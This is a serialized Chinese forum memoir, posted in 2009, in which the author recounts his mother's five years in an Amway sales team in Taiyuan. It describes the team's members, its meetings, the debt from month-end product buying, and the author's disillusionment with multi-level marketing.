张兰市场象是一座早已被盗的古墓,妈妈在里面挂了满身的尘土和蛛网,却什么都没有看到,也许再往深出挖掘,真的会有宝藏。妈妈就是在这样的地方,她的安利“事业”开始起步。
爸爸在国外待了半年,只带了一个欠单回来。但这这半年,我觉得妈妈很开心。
在 一个雨夜,我的房间传来急促的敲门声,我躺在床上问什么事情,“开门”,妈妈的声音很严肃,让我想起来高三时候,我关起门来学习的情形。我起来打开房间 门,妈妈和爸爸都在,对我说“沈红梅老师出车祸了,在去忻州的路上,我和你爸去看看”,“不要紧吧?”“还不知道,我们走了”,外面的雨似乎很大,爸爸妈 妈急怱怱地走了。
第二天,我给爸爸打电话,知道沈红梅老师死了,车里四个人,只要司机王力活下来的,正在抢救中,其他当场死亡。沈红梅的 死,让这个团队中的所有善良人,给自己加了一个责任,要成功,要让团队壮大,安利中有一句话“为钱而来,为情而留”,这是一句真话。妈妈把全身心投入到了 这个团队当中,沈红梅老师的老公,张文勇,现在我想他应该在当时是非常非常爱沈红梅老师的,他后来全身心投入安利,就是因为红梅老师的死。整个团队变得凝 聚和充满战斗力。
沈红梅老师走了,妈妈每天都在0:00点以后才回家了。
========—– 以下内容于 2009-09-02 08:48:09 追加 —–========
七
在过年的餐桌上,妈妈开始说自己明年要上钻石了。等上了钻石后,就腾出时间来陪家人,陪配姥姥。钻石慢慢变成了我和妈妈的梦。2002年,我正式参加了工作,股灾开始了,爸爸的生意也不如意,但妈妈的团队壮大了,出现了干将李小红。
这 是一个三十多岁的女人,从事安利事业前是一个白领OL,传说工作时享受70多平米的办公室和悠扬的轻音乐。妈妈的团队充实起来了,开始在安利中有了妈妈的 传说。但我很明白,妈妈的目标,总是在现实与想象中怱隐怱现。妈妈要想成功,还短一个部门,于是我挺身而出了。我和前女友参加了一次大型的NDO(安利中 的大型忽悠会议,常在外地举办,有时需要参会者住宿)。在这次会议中我见到了,如风云般传说的人物——曹辉,和他美丽的妻子梁俊雯。自己终归是凡人,报着 要帮妈妈的心,终于在这样的会议下激动起来了,从那以后,我的所有朋友都知道我从事了安利。
那个时候,我刚参加工作,我兴奋地拿着刚买的产品示范箱在单位里做起了产品示范。现在,在单位,我仍然有安利第一人的美誉。上天很眷顾我,单位里我做示范的同事有个别要我的产品,但没有一个人加入安利,而这个时候,一位同事主动要求办安利卡,并加入在我妈妈的名下,
据说是和她的介绍人闹不愉快,这位同事退卡重新办在了我妈妈的名下,在后来的一段时间内成为妈妈团队里的销售强人。
========—– 以下内容于 2009-09-02 08:55:10 追加 —–========
八
加入安利,前期是会被怂恿打货的,我也一样,那个月要打20000多的货,我没有钱,前女友从家里要来20000块钱,我们把钱全部变成了产品。以后的时间,我知道了,安利产品原来是如此难卖。
我现在想,当时我放弃了安利,一个是因为前女友实在反感安利环境,她认为那些人太虚伪了,我当时觉得她言词过激。再一个也许是我做不到持之以恒,我永远没有妈妈的执着。虽然她从事安利5年后也放弃了安利,这是后话。
沈红梅老师的葬礼,我没有参加,妈妈和爸爸都张罗着忙前忙后,回来后妈妈告诉我,红梅老师的葬礼很隆重,就算是个市级干部也未必赶得上,很多的外团队都一起来悼念红梅老师,我当时的脑海里出现了蛊惑仔的镜头。
红梅老师死后,妈妈更多提到的就是文勇老师了(张文勇,红梅老师的丈夫)。原来我知道他是几个汽修厂的老总,从一个太原穷小子发展起来的。红梅老师的家庭 不太愿意他们在一起,但红梅老师喜欢他的实在和执着,相信他一定会出人头地,所以嫁给了他。文勇老师象很多的太原老后生一样,实在,不爱说话。
我 第一次见他的感觉是,很高,不象他们说的那样帅,但能感觉到穿着很有品味,对我很和蔼。红梅老师的家里人听妈妈说,是典型的知识分子家庭,和善的让人心 酸,自己的女儿死的很惨,好像是内脏被撕裂,在痛不欲生的情况下还能抚摸痛哭着的文勇老师的头,我想他们把文勇老师已经当成是自己的儿子了。王力在红梅老 师死后,再没有在安利中出现过,听说后来做了汽车销售,去年的时候听妈妈说,王力找了个比自己小7、8岁的女孩子结婚了。
========—– 以下内容于 2009-09-02 09:02:19 追加 —–========
九
红梅老师去世后,文勇老师对团队、对业务的不熟悉让整个团队的损失很大,人数也减少很多,但也有很多人留了下来。
这 以后的一段时间内,李怀民,妈妈的直接上线不再出现在安利会场了。但是他的卡(安利的身份)至去年听妈妈说他都一直在续约,他还是可以从安利中获得一些奖 金的。他现在还是在做自动控制,老婆给他的业务越来越多,他的生意似乎做的不错,和爸爸还是朋友。前些天,还听妈妈说李怀民和爸爸喝酒了,爸爸又喝多了。
李怀民的退出,在这个团队里,妈妈从事安利面对的直接上线就变成了谢心安,谢老师。我在从事安利的过程中,与谢老师的接触是最多的。
由 于团队的缩小,文勇老师独立举办安利会议显的有点力不从心,于是他选择了与他这个团队同时起步的旁团队合作,共同举办安利会议,提升人气。这个旁部门团队 也是我最为熟悉的旁部门团队,这个团队的领导是陈要忠、刘柴芝夫妇。陈要忠是一个男中音,说话很有磁性,刘柴芝是很有味道的熟女(汗。。。。。。),他们 和妈妈后来都是很不错的朋友。
我觉得妈妈的热情,无私付出,在很多团队里都赢得了尊重和友谊。因为想写这篇文章,所以昨天特意问妈妈陈、 刘夫妇现在的情况,妈妈说很久没有联系,上次联系他们说做了其他的直销,后听说做得很成功,后又听说警方正在通缉他们。当时的这个团队,比起文勇老师的团 队来,真可谓是兵强马壮,团队里有好几位极具能力和干劲的猛将。现在回忆一下这些猛将兄,都隐隐感觉自己浑身有劲。但是毫无例外,这些人都放弃了安利。
========—– 以下内容于 2009-09-02 12:53:37 追加 —–========
十
王 浩,从事安利事业之前是一名律师,据说年轻有为,独资开过酒楼,认识以后,感觉其社会关系广泛,交际能力极强,口才特好。妈妈对其评价是仗义,先人后己, 年轻有魄力,心细,会照顾人。他的女朋友,我记得叫丹丹,家庭很好,机关幼儿园老师,父亲好像是军队上的大领导。他们好了好多年,至少也象抗战一样。最后 一次见丹丹,已经记不清是什么时候了,只记得她不想印象中那样漂亮,觉得女人原来是这样容易衰老,但还是能感觉到她有的那种大小姐的自负。那时好像就听说 她和王浩老师分手了。昨天又问妈妈王浩老师现在的情况,妈妈说不知道,05、06年的时候就去了深圳了,是因为银行信用卡恶意透支打货,他那时的那辆夏利 也是银行卡透支买的,后来还不上了。
李晋利,女,从事安利之前好像是一名普通的汽车配件售售员。刚见到她的时候戴一副金丝边眼镜,说 着极不标准的普通话,听她说话,以为是江、浙地区人士,随后感觉是村里人士。她的特点是陌生人沟通能力极强,在大街上她敢拉住任何一个人要求其进入安利会 场。她的赞美能力极强,安利叫PMP技术。即便她说的每一句话你都没有听懂,你也能深切的感受到她对你的赞美之情,她和妈妈基本是同时接触安利,在那个时 候,她已经成为DD(安利一种级别,代表你的销售业绩和收入。记忆中安利的级别分为皇冠大使-4钻-3钻-双钻-钻石-翡翠-明珠-红宝石-DD-金章- 银章。
至于这些级别有怎样的含义,我不愿再多说,原来这样的级别模式和收入规划,讲了太多,了解过安利的朋友必然知道,没有了解过安利的朋友也无需了解。但至少可以证明安利从来就是多层次直销和团队计酬。
========—– 以下内容于 2009-09-02 13:03:13 追加 —–========
十一
2003 年F D过后,人们对体质的认识有了一定的改观,安利的营养保健品有了更好的卖点,文勇老师和妈妈的团队都得到了壮大,我也是这个时期积极地全力投入安利。这个 时候妈妈的工作室也和陈、刘夫妇搬在了一起,和文勇老师、陈、刘夫妇等人共同承担会场开销,这个时候的团队和会议都及其红火,团队人数很快上升,以致于这 个合并会场无法容纳这么多亢奋的人们。
于是会场又需要分开了,由于文勇老师的团队内没有很强的讲师,所以这个团队合在了匡大韦老师的会场 内。文勇老师带着整个团队像是一群没有妈妈的小狗,可爱、顽皮、脆弱。到处寻找奶汁。匡大韦老师的课程简直精彩到了极致,我坐在台下,感觉到了一种热流涌 满全身。我只要战斗,就没有失败!!!我甚至在自己的课堂中模仿匡老师,复制匡老师(我在高校代课,专业课程),我忽然发现,自己挑动别人情绪的能力原来 是这么强。
匡大韦,山西首批翡翠,安利风云人物,曹辉的介绍人(即直接上线),山西地区安利公司宴请人物之一。匡老师的父母全是教师,其妻,甄燕,其女,笑笑,团队公认最幸福的女孩子!
在 这个会场中,到处是强人,几乎每次大型OPP会议(重点讲解奖金制度的会议,目的是吸引新人)都会请外团队的牛人讲师来为大家讲课,在这个会场我所见过的 安利强人有张一平、周欣、曹辉、周凯、左根生、马杰、张悦、李素平、王成、陈金柱、王爱仙、谭滋波等等,好多人都是后来出现在VCD当中的人物。
========—– 以下内容于 2009-09-02 17:57:03 追加 —–========
十二
第 一次与匡老师的交谈是在一次课程结束之后,妈妈没有让我走,等大多数人离开之后,我们又参加了会后会后会。需要解释一下安利的会后会。安利的会议结束后, 大家都不走,而是分成几个小组,每个组员都要对今天的会议发表感想,这个过程称为会后会,而在这个会后会之后,又会开一个由各团队领导和各团队精英参加的 会议,称为会后会后会,在这之后,又会开一个更核心人物的会议,暂称会后会后会后会,这个时候留下的几乎都是传说人物,
妈妈这时在匡 老师团队里,也算是小有名气了,所以也能参加这个最核心的会议。这个会是在匡老师的办公室开的,一进办公室,近距离的看到这位神采奕奕的年轻人,(他的服 饰不知该如何描述,参考《赌侠1999》朱茵的前男友),办公室里的一面墙上挂着他和甄燕老师在国外旅游的相片,办公桌上放着安利公司敬赠的台历,副桌上 摆着一个相框,里面是匡老师和一位女人的合影,后来知道这个女人的名字叫郑李锦芬。匡老师看到我,对我说“猪猪(真名隐藏),来,坐在我的旁边”,旁边的 沙发被空了出来,我忽然有了这是强者间的对话的一种幻觉,我坐了过去,虔诚的笑着。“猪猪!很厉害呀,做为一名高校教师,能有这样的觉悟……”,说着他竖 起了大拇指。当时具体的对话已记不清楚,只深刻的记着,匡老师对我非常的认可,他说话风趣幽默,鼓舞人心……。
匡老师的这个会场传说 是他买下来了,大概有160-180平,是太原的鸿唪花园,楼下是太原著名的东民科技大厦。当时太原的房价好像是在2000-3000元每平米。在会场同 一层楼的尽头是匡老师自己的住宅,面积好像有200平米,我没有去过,妈妈去过,说一进门有两条好大的金龙鱼,和大舅家的银龙鱼差不多大。匡老师、甄燕、 笑笑组成的家庭,无疑是三口之家的典范,就象是在拍广告。
========—– 以下内容于 2009-09-02 18:08:16 追加 —–========
十三
在 匡老师的这个会场,我们度过了很多个激动人心的夜晚。也许是我过于理性,自己的激情远不足以影响别人。现在总回想起坐在第一排妈妈的背影,是那样模糊的, 湿润的感觉(我也不知道会什么用这样的形容词,也许每次我都眼眶湿润)。妈妈在用自己的执着影响着会场,影响着我,感动着团队,支撑着信心。
在 安利的会议中,高聘的老师,即业绩高的老师才能坐在前排。妈妈那时已经是这个会场的领导人之一了。这个会场也不光有会议,也有庆祝,比如在过节的时候,但 每次庆祝过节的时候,我的印象总是东西不够吃。记得一次,什么时候记不清了,但庆祝的目的,好像是为了儿童蛋viper的上市,当时市场上还没有,由于匡 老师夫妇的级别高,所以安利公司提前同意匡老师夫妇购买,注意是同意购买,而非赠送。那晚甄燕老师为我们每人准备了一个一次性纸杯,装了小半杯的蛋 viper溶液,是草莓味的,然后大家欢呼,碰杯,但绝对不干!!!细细的品味这一丁点的蛋viper,也许这一丁点的蛋viper包含了超级多的蛋白质 吧。
在从事的安利的过程中,也许是因为自己的年轻,很多时候总是认为自己的想法是对的,而妈妈也非常在乎我的想法,妈妈常说,我的想法也经常地教育了她。我记得我从高中开始就常常和妈妈探讨一些问题了。
========—– 以下内容于 2009-09-02 18:18:39 追加 —–========
十四
我对经营安利有了自己的认识,我认为安利是以销售为基础的,建立起庞大的销售网络,产生庞大的销量,才是团队的生存根本。
我 发现整个团队的销售能力低的出奇,大多数人连一个月最基本的3%的销售任务都无法完成(3%是安利中的一个奖金级别,也就是你销售额到达一个定值,你就可 以得到3%的奖金,如果销售额在高,你可以得到百分比更高的奖金),我的销售就非常痛苦,常常为了卖一管牙膏而磨破嘴皮,有些朋友真的不错,找我卖安利产 品,家里的所有亲戚几乎都被我和妈妈拜访过了,系里的同事我都给了名片。但销售量还是上不去。
但是这却影响到我的工作,以致于系书记有次 问我:“猪猪,你打算在咱们学校常干吗?如果长干,这次我就派你出去学习”。我不加思考的说:“打算呀”,那次我被派去上海学习了1个月,很多年龄大的老 师都说,你们这批赶的机会真好,我干了30年了快,没出去过。一个多月没有进会场学习,我感觉自己对安利的看法更理性了,激情也退了许多。
我 问过妈妈的销售如何,妈妈的销售一个月能达到9%(可以提成9%的销售额,当时约11000多元)。也就是说一个月可以拿到1000多块的奖金,如果安利 产品不是8折销售的话,妈妈一个月光自己销售的收入就能够达到2000多块钱了,再加上妈妈团队业绩给妈妈的奖金,妈妈的收入当时在太原已经绝对不低了。
但 是,但可是,可但是,妈妈有了团队,能全力销售吗? 不能。安利的产品不8折别人要吗?不要。妈妈的团队业绩能稳定保持下去吗? 不能。妈妈在工作室里,要花很多精力培养团队的成员,为团队的成员沟通新朋友,帮助团队的成员销售产品,管理工作室,参加各种各样的会议,留给自己的销售 时间很少。所以她的9%的销售也不稳定。
========—– 以下内容于 2009-09-02 18:29:54 追加 —–========
十五
妈 妈的人格魅力让妈妈有了很多的顾客,他们大都认可安利产品,不管是家居、营养或是美容。这些人当中有妈妈的老朋友,很多在太原从事生产设备制造行业,通过 多年的积累,家底很厚,打个麻将输个万儿八千是很随意的事情,在妈妈殷勤的要求他们更换牙膏的时候,他们根本不问牙膏的价格。还有些朋友是妈妈新认识的, 妈妈似乎很容易交到朋友,这些人似乎也不是很注意产品价格。但妈妈并不是想让他们使用产品,而是通过使用产品,能够喜欢产品,从而从事安利事业。
由 于时间有限,为每个客户做好售后服务是很难的,况且安利产品的使用周期极长,家居用品,浓缩包装,一瓶洗碗的,够你用一年,牙膏,半年。保健品是吃的,而 且用量极大,销售额高,而妈妈的大多数顾客买保健品的目的是认可我妈这个人,给面子,来了一趟,买点牙膏实在是不好意思,怎么也得花个几千块钱,但花了这 这么多钱,就很少有下次了。所以妈妈得销售并非理想,如果想月月突破9%都不太可能,毕竟时间是有限的,太阳下山的时候就是开会的时候。实际做安利开会的 时间远远超过做销售的时间,你还要把很多时间花在沟通和邀约朋友来开会上面。
安利可以不8折销货吗?从2002年到现在安利一直在8 折销货,到了现在7折,6折,3折更是随处可见,安利公司对市场价格的保护不利在一定程度上是由于安利公司在中国获取到了过多的利益。你不8折销售,就没 有人买你的货,除非他没有听说过安利,现在还有没听说过安利的人吗???
========—– 以下内容于 2009-09-02 21:48:46 追加 —–========
十六
随 着团队的壮大,妈妈的奖金也会逐步增多的,不然谁还做直销啊????但是人数的增多是没有用,必须要销售量的上升,销售量上来了,奖金才会增多,销售量如 何上升?妈妈都卖不了多少,别人能比妈妈强?!?怎么办?月底打货成了安利的传统,一到月底,大家就开始为买货而准备,买货的目的能在下个月有更高的奖 金,哪来的钱买货呢?上个月买的货还是货,还没有变成钱呢!怎么办?借钱,贷款,让新进入安利的朋友掏钱!!!
妈妈的奖金往往是从安利公 司打到银行,妈妈就提出钱,付给安利公司,变成货物。这样一个月接一个月,妈妈在安利中的投入越来越多,光是这些吗?远远不够,安利中学习和参加会议的费 用也很高,妈妈再怎么说也是安利中的传说人物,属于大团队的核心层,必须要做到每会必到,每到必会。我的妈妈真的做到了,很多会议是要买票的,妈妈很多时 候不仅给自己买,还要给新朋友买,因为约一个新朋友参加安利的会议是多难,如果再让人掏钱,人家的感觉会好吗???
外出参加大型会议,比 如广州,沈阳,呼市,全部是自己的费用,我们家多少有点积蓄,不然妈妈绝对坚持不了五年!我和妈妈经常不断地探讨如何提升安利产品的销售,我们都感觉安利 产品的销售成本太高,卖一个东西,根本不赚钱。比如顾客要产品,就算销售人员没有产生任何成本投入,没有打电话,没有请吃饭,没有喝咖啡,顾客完全是自己 找上门的。但他打了一个电话,说要牙膏。好,销售人员出去送货上门,然后会说“我们从公司8折拿货的,现在8折给您送过来,谢谢。”你说怎么赚 钱?!?3%!!对呀,但是如果你一个月达不到呢?所以必须有量!记得一次我和妈妈说:“妈,你这么费劲的卖了个碟新,如果是原来做设备,估计几十万的设 备也拿下了吧”。我记得妈妈当时什么也没有说。
========—– 以下内容于 2009-09-02 21:56:44 追加 —–========
十七
为了销售我也开始和陌生人说话了,一段时间之后,我发现自己的能力得到了一定的提升,我发现别人不讨厌我,但我也没有要求别人了解安利产品或是安利事业。我不知从何说起,我在安利的会议中不断挖掘销售技巧,但是对我实用的太少太少。
写 到这的时候,我想起了一位我当时很喜欢的老师,张惠敏,男,匡大韦老师的直接下线。我总是亲切的称他是惠敏老师。从他那里我学会了一个词,“格局”。他总 是会这样的说话:“匡老师这个人非常有格局”,“这个事业的发展规划有他自己的格局”。虽然我现在也不太清楚格局的含义,也没有使用过这个词,但我还是很 喜欢“格局”。当我困惑的时候,妈妈就会约惠敏老师和我坐坐,惠敏老师也是安利中的传说人物,他的级别不高,但是从事了很久的安利事业,传说是他原来是匡 大韦老师的介绍人,但是他中间退出来,现在又从新来做。作了匡老师的部门。
惠敏老师,很精瘦,西服很合身,总是背一个皮包,他的手机很旧,很落伍,好像比文勇老师的还要旧。在我印象里,安利里面好像所有的领导人的手机都很旧。他每次和我的谈话都很有耐心,我都能有所收获,至少我能得到力量。
记 得最后一次见慧敏老师,是在我家里,他想见见我妈妈,那时我妈妈放弃安利不久。来到家里,妈妈不在,于是我们聊了一会,他告诉我他现在放弃了安利,是因为 现在市场不适合安利,如果市场适合的时候,他还会选择安利,他还是在跟随匡大韦老师,因为他这个人很有格局。后来他没有等到妈妈,就走了,那以后再没有他 的消息。妈妈那次是故意躲着他的,妈妈和我说,现在什么直销她都不会选择,寒心了。
========—– 以下内容于 2009-09-03 12:47:57 追加 —–========
十八
现在我又想起来了又一位老师,妈妈的直接领导人,谢心安。想起他是因为他和惠敏老师似乎不太对劲,在我脑海里如果画一副漫画,慧敏老师会是磊落的形象,而谢心安老师则就会显得有些猥琐,什么原因,我说不上来,也许是因为他对团队付出的太少吧。
不知道什么时候,谢老师成了匡老师团队里的手诊大师,传说他一直是山西医科大学第二附属医院营养科的外聘主治医师。妈妈和我也都在专心地学营养,我的前女友被妈妈安排任务学美容和彩妆。妈妈学的主要是手诊,我学的主要是饮食学。
在 那一段时间里,团队的人都会带着新朋友来让谢老师看手诊。谢老师被大家在外面已经包装成了一位神医,看手即可知其病运。但是谢老师的忽悠似乎有些过,用匡 老师的话说是“危机”下的太大。反倒是妈妈的手诊给人看得不错,好多新人都说喜欢让妈妈给看。另外在团队中,妈妈的影响力和威信比谢老师要高,谢老师的部 门都开玩笑的说,早点认识朱姐(化名,我妈妈)就好了,一定和朱姐做安利,现在和妈妈共同创业的阿姨就是谢老师当时的直接部门。
谢老师真 实的身份原来好像是一个二线歌舞团的演员,他爱人也是。他的打扮倒是很想一个老板,传说他从事安利事业之前是一个娱乐城的老总。后来谢老师突然在安利的会 议里消失了,团队有人听他说是他妈妈给了他太大的压力。我妈妈对这种说法不以为然。谢老师好像是在05年从安利里消失的。
========—– 以下内容于 2009-09-03 12:56:40 追加 —–========
十九
回忆就像水流,想起来当时的许多人,人头窜动,他们似乎都给我映象深刻,又似乎模糊得连名字都难以记起。我们都留下了真情给其他每一个人,因为时间太久,也许我们就模糊在一张相框里,模糊在了憧憬里。我们都被冬日下午的阳光晒着,映着冰面,模糊着眼睛。
鲁 小鲁老师,妈妈他们都叫她小鲁,我叫她小鲁老师,她做安利时间比妈妈长,但成长缓慢,她和安利芬(后面介绍)是文勇老师的中学同学,和李敏、妈妈都处的很 好,在红梅老师去世后,她也在倔强而顽强的成长,随着她表哥的加入,她的安利事业似乎也开始蒸蒸日上了,从打扮到会议的主持,到朋友的沟通,到对团队的付 出,妈妈都说了,小鲁的进步太大了。
我后来知道,让女人变好的是爱情,变坏的也是爱情。小鲁老师一直在暗恋文勇老师,后来文勇老师通知大 家准备结婚的时候,小鲁老师就从安利里消失了,后来听说又加入了别的团队还找过文勇老师,但不久还是消失了,象漩涡里的水泡,至今妈妈也没有她的消息。我 觉得小鲁老师如果早点表白,以文勇老师软弱的性格,一定会和她在一起,也许他们比现在要幸福。
安利芬,一个很胖的女人,第一次见她的 猩猩,是我觉得她有一个牙口好,胃口就好的老公,后来见过他们一家三口,都是身材很富裕的那种,心想如果安利牙膏做广告一定要找他们(哈哈)。安利芬家长 时间从事生意,主要为监狱提供床单被罩等,一家人都属于小脑发达的那种,团队人气不高,做安利的态度一直不坚定,后随小鲁老师的消失而消失,但在安利当中 的投入也以十万计之。
小华,外地女孩子,安利芬的紧密跟随者,漂亮,安利芬退出安利之前,投资了一家内衣店,小华是店长。
还有很多人,一一道来。
========—– 以下内容于 2009-09-03 13:05:41 追加 —–========
二十
李敏,一个不漂亮的女孩子,和我一样年纪,有追求,有韧性,曾喜欢了一位安利公司的装货员,后来知道自己是单恋,伤心欲绝。我觉得我们之间有友谊,如果能把这样的友谊继续,那该多好。她离开安利后,好像是06年她结婚了,通知了妈妈,但没有通知我。
武 梅香,谢心安老师的直接部门,我叫她梅香姐,心地善良,人很好,但是没有漂亮的外表。记得一次,一位找上门的顾客要牙膏,是我接待的,但我不懂如何做产品 示范,如何销售,梅香姐用了一个上午的时间,让这位顾客购买了100多元的东西,要知道这个顾客只想买个牙膏的,但是卖货得时候,却让我给这位顾客结算, 我很感动,我知道她一个月也决销售不了3%的,而且她本身生活也拮据得很。后来梅香姐找了个对象,她就想着把自己嫁出去,如果我是那家伙的条件,我绝没有 生活在世上的勇气(夸张的讲),梅香姐要1万的礼金,只给了3000,梅香姐全部打了货了。结婚以后,梅香姐的老公不让她从事安利,就再也没有联系过了。
回忆,尽量的回忆,他们都从我的脑海涌出,和我说着话,像是牺牲的战友吗???鲜活,我们充满了情感,连他们的声音都清晰可辨了。
崔 求珍,女,一双美丽的大眼睛,来自农村,老公是一位老太原人,只有右腿,左腿是在跑长途的路上冻掉了。他们夫妇有两个孩子,都长着一双美丽的大眼睛,很 黑,很亮,夫妇二人以卖牛奶、冷饮和饼子为生。她和婆婆生活在一起,安利似乎让她看到了生活的希望,她在出席安利会议的时候,也变的很健谈,声音很亮。
崔 求珍是妈妈的第一个部门,就象自己的第一个孩子,妈妈都不知道该如何对她好了。有时候妈妈下午会提早回来,去她摊上叫上她一起洗澡,当然是带上安利的全套 洗浴用品,然后在我家一起吃饭,晚上去一起听课,我好像觉得她喜欢安利的环境和我妈妈她们这些人。有时候我们在一起吃晚饭,她也会讲她的生活目标,或者讲 她赚钱了以后如何教育孩子,现在还能在她家摊上看见她老公,但是很久了没有见过她。她老公对她的阻碍是残酷的,婆婆也极力反对她从事安利,只有两个孩子支 持她,孩子对她的支持换来的是她的泪水,和改变家庭命运的决心。
在她的眼里,她的妹夫是有一定经济实力的人。在他们那个村里,有钱人不 少,于是她给她的妹妹讲了安利。崔求珍的安利事业终究没有胜过她的丈夫,她没有办法用收入证明自己,也许是她年轻时候漂亮过吧,老公似乎不愿意让她与自己 之外的世界接触,最后一次的交谈,是在我家里,她来我家,是要妈妈将她的产品全部买回去,我从她的话语中都可以感觉到埋怨和理直气壮,妈妈买了全部的产 品,两人的友谊随着钱物的交换变成了仇恨。
========—– 以下内容于 2009-09-03 13:10:01 追加 —–========
二十一
宋瑞萍,崔求珍的妹妹,崔求珍退出安利之后并没有续约,宋瑞萍就成了妈妈的直接部门,我一直叫她瑞萍姐。她带着眼镜,瘦小而柔弱,并不象她的姐姐,她说话的声音很低,但后来我知道她是一个强者,为了目标能够持之以恒。
宋 瑞萍出现以后,介休张兰村成了妈妈的一个主要市场,文勇老师,谢老师等人经常会和妈妈一起去介休张兰,在太原的大型的NDO会议上,常常会出现来自介休张 兰的团队,这些人很多都在从事古董生意,他们对太原也较熟悉,每个星期六日他们都会来太原的大南门古董市场。瑞萍姐也受到了她老公的阻碍,动不动就会被老 公拳打脚踢,但后来她的老公也办了安利的加入,和瑞萍姐一起从事安利事业。
在那段时间,瑞萍姐经常会住在我们家,和妈妈参加团队的每一堂 课程,疯狂的学习,提升自己的能力,瑞萍姐似乎永远都不会放弃,终于,瑞萍姐在张兰成立了自己的安利工作室,当时妈妈为她请去了匡大韦老师,为工作室开业 剪彩。张兰市场在成长过程中,总是起起伏伏,在2005年末竟然全线崩溃,妈妈去了介休几次,都未能挽回这个市场,换来的结果,好的是仅仅认可你朱姐,不 好的闭门不见。
介休张兰市场的失去,并没有对妈妈业绩产生多大的影响。现在思考,当时可见,张兰的销售全是虚的,打货产生前期业绩,但这 些货最终要通过销售才能转变为资金,没有销售的基础,在很小的市场里,结果是必然的。从一个小张兰村的市场可以预见,无基础的蓬勃业绩,随着时间延续,必 然坍塌。2006年夏天,瑞萍姐退出安利,出重新申请加入,曹辉的妈妈成为其介绍人,现在再没有联系。
========—– 以下内容于 2009-09-03 19:56:15 追加 —–========
二十二
李 小红,女,我称其小红姐,30多岁的女人,妈妈原来认识的朋友,是一个美容产品的地区经理,她在安利会议中自我介绍的时候,总是提自己原来享受的70多平 米的办公室,和环绕在办公室里悠扬的轻音乐。李小红的进入,让妈妈的安利“事业”一下子进入了上升期:)。李小红在安利中的变化巨大,脸的变化最为明显, 全套安利美容品的使用配合以彩妆,让李小红变的亮丽起来。
我经常在工作室听到她给朋友打电话,说自己前些天去这里旅游了,过几天打算去那 里旅游。不只小红姐,安利团队的人都是这样,如果有能证明自己挣到钱的证据,一定要让没有从事安利的朋友知道,比如说买车、旅游、出国等等,他们在介绍自 己现在工作的时候,女士往往都会说自己开了一个美容院,让朋友过来看看,男人往往都会说自己现在做一个国际产品代理,让朋友过来考察考察。小红姐实际她一 直待在太原,哪里都没有去。
小红姐和妈妈也走的很近,我们都很熟悉,常常一起消夜,一起骑车走过太原午夜的马路。小红姐在离开安利的时 候,和团队的人讲了妈妈很多的坏话,但后来不知道为什么,她来过家里,和妈妈长谈了一次,在走的时候,我看见她眼里含着泪花。妈妈说小红姐是告诉她自己后 悔离开时做的事情,很珍惜这份友谊,但是她们后来谁也没有延续这份友谊。现在小红姐还和妈妈通电话,她现在从事网络商务,更纯粹的直销!直销给人幻化的平 台,回到现实会无比痛苦,为了避免承受这些痛苦,很多人情愿活在幻象之中。
========—– 以下内容于 2009-09-03 20:04:04 追加 —–========
二十三
“ 安利的成功建立在对人性阴暗面的控制的成功”。 看到这句话,控制,善良的人总会被不善良的人所控制,在安利的环境中,可以很强烈的感觉到个人崇拜,安利中流传最多的就是安利传说人物的神话传说,去把这 个人讲的带有光环,他就有影响你的可能性,他就会更有说服力,而人们在讲神话故事的过程中,自己先信了。
任美平,男,出生年份 1977,太原人,李小红的直接部门,原超市理货员,比我早加入几个月,戴眼镜,为人柔弱,诚实,善良,我们都称呼其美平。美平,我一直当其是自己的兄 弟,我们年龄一样大,他的生日大我一些,在团队里,他是我妈妈的儿子。在很长一段时间里,工作室的管理妈妈完全地信任美平,包括团队内部的所有产品,妈妈 的安利存折,工作室钥匙等全部由美平掌管。我记得妈妈说过“原来以为小猪(我,小名化名)就很懂事了,可以现在觉得美平才叫善良,才叫懂事了”。我想团队 里妈妈最有感情的就是美平了,现在有很多人都在惦记美平,希望他能回到我们中间来,放弃安利。我、妈妈、文文阿姨、吴姨都盼着你回来,美平!!!记得妈妈 那时说过“咱们团队的男士们太文静了!!”这里是指文勇老师和美平,他们是连一句硬话都没有讲过。
一个人善良的本性也许是无法改变的。昨 天,妈妈还说了:“吴姨(美萍的妈妈)让你有时间约约美萍”。如果美平可以看到这个帖子,我希望你能静静的思考一下,我们有许久没有联系,但我的妈妈,吴 姨,文文阿姨都是盼着你好,我们都希望你的安利可以做成,都希望你能够在安利里成功,如果有一天你能站在台上,象周欣老师一样,流出你压抑许久的泪水,久 久的哭泣,我们愿意与你一起笑着哭。但是成功要有途径,安利如何成功,曹辉告诉过你吗?我写这些你不要怪我,也许安利我还不够了解,没有找到成功的途径, 但我真的想不出安利如何成功,安利的现实与理论是相违背的。如果现实象理论一样操作,也许会成功,但是你改变的了现实吗?原来我们一起听到过的安利中的情 感,团队间的友谊等等一切的一切,现在还有吗?难道你还没有看出这一切的虚伪和冷酷吗?善良的人会在意真的友谊,而善良的友谊也会被利用。安利也许会成 功,但我认为,善良的人不会在安利中成功!你太过善良。我想说,回来吧,我们务实地做些事情吧。
========—– 以下内容于 2009-09-03 20:11:07 追加 —–========
二十四
妈 妈说美平坚持做安利,却始终突破不了自己,除了吴姨,平姨(美平的二姨,销售强人,后介绍老公给我爸爸一些工程,爸爸给的返点过少,不再共事,平姨与妈妈 还联系),美平没有一个部门。美平的销售几乎月月为零,在妈妈等人离开安利以后,他们的顾客要货,全部都打在美平的名下。美平现在的主持能力得到了很大的 提升,似乎他对晚会的主持和节目编排很感兴趣,听吴姨说美平现在在曹辉的团队里工作,主要从事主持,晚会,录像,后期制作,做饭等一些工作。我想是曹辉给 了美平这样的舞台,他留恋这个舞台,所以无怨无悔。
我在想,过年一定要和美平坐坐。安利里面是很讲究付出的,意思是如果你付出的越多,你 得到的助力就会越大。美平现在就是在付出,他在曹辉的身边,确实可以学到很多的东西,曹辉的沟通也许会帮助美平拓展出很多的部门。但有时候安利中的付出让 人觉得是无耻,他们变得象是军委领导的勤务兵,把领导照顾的无微不至,美平现在也许就是曹辉的勤务兵,而这一切,应该是无偿的。美平今年31岁,没有女朋 友,没有工作,没有固定收入,曹辉一定能给美平未来吗?先不说曹辉是否知道美平能否成功,曹辉自己的成功都难以把握,安利里面的成功不是靠自己,是靠别 人!自己能做的就是去更好的控制别人,控制更多的人,那样成功才是稳定的,有保障的!崇拜,让自己变得被人控制!安利中真的有洗脑!?!?
